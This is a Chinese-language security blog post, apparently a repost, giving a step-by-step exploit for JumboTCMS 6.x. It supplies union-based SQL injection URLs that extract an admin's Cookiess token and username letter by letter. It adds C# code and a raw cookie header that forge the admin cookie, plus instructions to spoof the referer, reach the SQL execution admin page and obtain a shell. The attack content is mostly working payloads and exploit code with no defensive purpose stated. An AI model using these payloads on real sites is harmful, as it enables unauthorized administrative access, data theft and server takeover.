Jumbotcms 6.x 通过注射by pass 后台权限认证

没穿底裤 2019年12月31日20:19:28评论515 views字数 1354阅读4分30秒阅读模式
摘要

Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。
这次出现的问题主要是新改的权限认证方面和注射

Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。
这次出现的问题主要是新改的权限认证方面和注射

通过注射,获得cookiess字段,再伪造cookie绕过后台认证

Q1 为什么不查密码?

密码没用,不能解码

Q2 为什么不直接update数据库?

限制了分号。

注射步骤:

获得Cookiess字段

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 Cookiess FROM jcms_normal_user where AdminState=1

获得用户名(MSSQL的substring下表是从1开始的)

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,1,1)) FROM jcms_normal_user where AdminState=1

http://0day5.com/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,2,1)) FROM jcms_normal_user where AdminState=1

注意:这里的cType=paper是模块名称,当前能试用这个注射的只有三种模块paper、soft、document。某些二次开发的站点可能删掉了soft,不过document或者paper基本都应该存在吧。测试的时候如果不好使,可以换一个模块试试

权限绕过步骤:

1 首先获取cookie中的版本号,随便访问页面即可获得。再到浏览器地址栏输入javascript:alert(document.cookie)

2 加入cookie的名称为:版本号admin

然后为先建的cookie中加多个子集

id=用户id

name=用户名

cookiess=cookiess(从上方获得的cookiess是数字,前面必须加一个小写的c,比如c59268931)

exp code:
[php]
HttpCookie hc = new HttpCookie("jcmsV6.8.0.0801admin");

hc.Values.Add("id", "1");

hc.Values.Add("name", "123");

hc.Values.Add("cookiess", "c59268931");

hc.Domain = "localhost"; //这里写上需要测试网站的域

Response.Cookies.Add(hc);[/php]

http头的cookie例子:

jcmsV6.8.0.0801admin=id=1&name=123&cookiess=c59268931

3 伪造referer

4 访问:/admin/executesql_default.aspx 试试

或者直接访问 /admin/

5 getshell

方法比较多,毕竟后台有那么多功能,比如exec sql

ps.利用方法真蛋疼

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日20:19:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jumbotcms 6.x 通过注射by pass 后台权限认证http://cn-sec.com/archives/75283.html

发表评论

匿名网友 填写信息